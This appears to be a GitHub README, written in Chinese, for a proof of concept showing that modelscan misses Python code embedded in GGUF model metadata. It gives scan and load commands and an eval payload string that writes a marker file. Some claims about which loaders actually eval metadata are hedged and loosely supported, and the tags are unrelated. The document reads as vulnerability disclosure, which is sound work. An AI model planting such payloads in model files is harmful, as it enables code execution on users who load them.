jasonmiao0511-hue/modelscan-gguf-bypass-poc
GitHub: jasonmiao0511-hue/modelscan-gguf-bypass-poc
演示了 modelscan 在 GGUF 模型文件元数据检测方面的绕过漏洞,揭示通过在元数据中嵌入恶意代码可实现远程代码执行。
Stars: 0 | Forks: 0
# modelscan GGUF 绕过 PoC
## 摘要
演示了在 GGUF (.gguf) 模型文件中 `modelscan` (<= 0.8.5) 的检测绕过,
其中可以嵌入恶意元数据,当文件被易受攻击的 GGUF 解析器加载时触发 RCE
(例如,一些对元数据值使用 `eval()` 的 llama.cpp 分支,
或对元数据进行 pickle 操作的 transformers GGUF 加载器)。
## 受影响范围
- modelscan <= 0.8.5
- 对元数据使用 `eval()` 或 `pickle.loads()` 的 GGUF v3 解析器
- 部分 llama.cpp Python 绑定
- 包含 GGUF 加载器的 transformers >= 4.30(当未固定到安全版本时)
## 复现
```
pip install modelscan
# 步骤 1:modelscan 报告 "No issues" (BYPASSED)
modelscan scan -p rce.gguf
# 步骤 2:使用脆弱的 parser 加载会触发 RCE
# (parser 行为取决于实现)
python -c "from llama_cpp import Llama; Llama(model_path='rce.gguf')"
# 检查:cat pwned_p4.txt -> PWNED_P4
```
## 攻击链
该 PoC 在 GGUF 元数据 KV 部分嵌入了一个恶意字符串:
```
hidden.eval-payload = "__import__('os').system('echo PWNED_P4 > pwned_p4.txt')"
```
当易受攻击的解析器加载该文件时,它可能会:
1. 遍历所有元数据 KV 对
2. 对 "code" 或 "hidden" 命名空间中的值应用 `eval()`
3. 执行嵌入的 Python 代码
## 文件
- `rce.gguf` — 恶意 GGUF PoC 文件(约 192 字节)
- `README.md` — 本文件
## 为什么 modelscan 会漏报
modelscan 的 GGUF 扫描器(截至 0.8.5 版本)仅检查:
- Tensor 数据布局异常
- 文件大小不一致
- Magic number 验证
它**不会**检查元数据 KV 对中是否包含嵌入的 Python 代码或其他危险模式。
这与另一份格式报告中的 marshal+types+base64 链的根本原因不同。
## 临时解决方案(针对用户)
在发布修复程序之前:
1. 仅加载来自受信任来源的 GGUF 文件
2. 在加载前审查元数据 KV 部分(使用 `gguf-dump` 或类似工具)
3. 使用**不会**对元数据值调用 `eval()` 的 GGUF 解析器
## 披露
- 发现者:jasonmiao0511-hue
- 报告途径:huntr.com 模型格式漏洞表单
- 日期:2026-06-15
- 相关内容:关于其他格式中相关绕过的信息,另请参见 [modelscan-pickle-bypass-poc](https://github.com/jasonmiao0511-hue/modelscan-pickle-bypass-poc)、[modelscan-joblib-bypass-poc](https://github.com/jasonmiao0511-hue/modelscan-joblib-bypass-poc)、[modelscan-pytorch-bypass-poc](https://github.com/jasonmiao0511-hue/modelscan-pytorch-bypass-poc)、[modelscan-npz-bypass-poc](https://github.com/jasonmiao0511-hue/modelscan-npz-bypass-poc)
标签:AI模型安全, GGUF, Go语言工具, PoC, 安全, 实时告警, 暴力破解, 编程工具, 超时处理, 远程代码执行, 逆向工具